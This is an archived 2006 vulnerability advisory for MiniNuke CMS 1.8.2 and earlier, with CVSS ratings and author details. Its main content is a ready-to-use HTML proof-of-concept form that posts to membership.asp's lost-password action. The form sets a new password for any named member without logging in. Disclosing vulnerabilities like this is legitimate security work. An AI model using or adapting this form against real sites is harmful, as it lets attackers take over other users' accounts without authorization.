MiniNuke CMS System <= 1.8.2 (membership.asp) remoteuser password change exploit

2006.01.13
Credit: nukedx
Risk: Medium
Local: Yes
Remote: Yes
CWE: CWE-20


CVSS Base Score: 5/10
Impact Subscore: 2.9/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: None
Integrity impact: Partial
Availability impact: None

--Security Report-- Advisory: MiniNuke CMS System <= 1.8.2 (membership.asp) remote user password change exploit --- Author: Mustafa Can Bjorn "nukedx a.k.a nuker" IPEKCI --- Date: 12/01/06 08:49 PM --- Contacts:{ ICQ: 10072 MSN/Email: nukedx (at) nukedx (dot) com [email concealed] Web: http://www.nukedx.com } --- Vendor: MiniNuke (www.miniex.net) Version: 1.8.2 and prior versions must be affected. About:Via this method remote attacker can change any users password without login. --- How&Example: HTML Example [code] <html> <title>MiniNuke <= 1.8.2 remote user password change</title> <form method="POST" action="http://[SITE]/membership.asp?action=lostpassnew"> <table border="0" cellspacing="1" cellpadding="0" align="center" width="75%"> <tr><td colspan="2" align="center"><font face=verdana size=2>Now fill in the blanks</font></td></tr> <tr><td colspan="2" align="center"><font face=tahoma size=1red>Change password </font></td></tr> <tr><td width="50%" align="right"><font face=verdana size=1>PASSWORD: </font></td> <td width="50%"><input type="text" name="pass" size="20"></td></tr> <tr><td width="50%" align="right"><font face=verdana size=1>PASSWORD Again : </font></td> <td width="50%"><input type="text" name="passa" size="20"><input type="text" name="x" value="Membername"> <input type="submit" value="Send" name="B1" style="font-family: Verdana; font-size: 10px; border: 1px ridge #FFFFFF; background-color: #FFFFFF"></td></tr> </table></form> </html> [/code] -- Regards, From the NWPX team, nuker a.k.a nukedx


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2021, cxsecurity.com

 

Back to Top